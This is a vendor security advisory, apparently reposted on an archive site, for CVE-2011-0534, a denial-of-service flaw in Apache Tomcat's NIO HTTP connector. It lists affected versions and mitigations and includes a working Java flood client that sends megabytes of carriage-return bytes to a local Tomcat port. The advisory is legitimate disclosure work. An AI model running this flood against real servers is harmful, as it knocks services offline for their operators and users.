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Apache Tomcat Denial Of Service

Apache Tomcat Denial Of Service
Posted Feb 5, 2011
Authored by Mark Thomas | Site tomcat.apache.org

Tomcat did not enforce the maxHttpHeaderSize limit while parsing the request line in the NIO HTTP connector. A specially crafted request could trigger an DoS via an OutOfMemoryError. Versions 7.0.0 through 7.0.6 and 6.0.0 through 6.0.30 are affected.

tags | advisory, web
advisories | CVE-2011-0534
SHA-256 | e7004df83ea4d14298bf16264423c22562ace05dd7a2dedff8a0b2dc00f176fb

Apache Tomcat Denial Of Service

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Hash: SHA1

CVE-2011-0534 Apache Tomcat DoS vulnerability

Severity: Important

Vendor: The Apache Software Foundation

Versions Affected:
- - Tomcat 7.0.0 to 7.0.6
- - Tomcat 6.0.0 to 6.0.30

Description:
Tomcat did not enforce the maxHttpHeaderSize limit while parsing the
request line in the NIO HTTP connector. A specially crafted request
could trigger an DoS via an OutOfMemoryError.

Example (AL2 licensed):
package bug50631;

import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketAddress;

public class FloodClient1 {
static final int k_step = 10;
static byte[] value = new byte[k_step * 1024];

public static void main(String[] args) throws Exception {
int i = 0;
while (i < value.length) {
value[i++] = 13;
}
SocketAddress addr = new InetSocketAddress("localhost", 8080);
Socket socket = new Socket();
socket.setSoTimeout(0);
socket.connect(addr, 0);
OutputStream os = socket.getOutputStream();
// InputStream is = socket.getInputStream();

int k = k_step;
int m = 0;
int k100 = 100;
while (m < 2000) {
if (k >= k100) {
k100 += 100;
System.out.print('.');
System.out.flush();
}
if (k >= 1024) {
m++;
k -= 1024;
k100 = 100;
System.out.println(" " + m + " Mb");
}
os.write(value);
os.flush();
Thread.sleep(1);
k+=k_step;
}
}
}

Mitigation:
Users of affected versions should apply one of the following mitigations
- - Upgrade to a Tomcat version where this issue is fixed
- - Use a BIO or AJP HTTP connector in place of an NIO HTTP connector

Credit:
The issue was identified by the Tomcat security team.

References:
https://issues.apache.org/bugzilla/show_bug.cgi?id=50631
http://tomcat.apache.org/security.html
http://tomcat.apache.org/security-7.html
http://tomcat.apache.org/security-6.html
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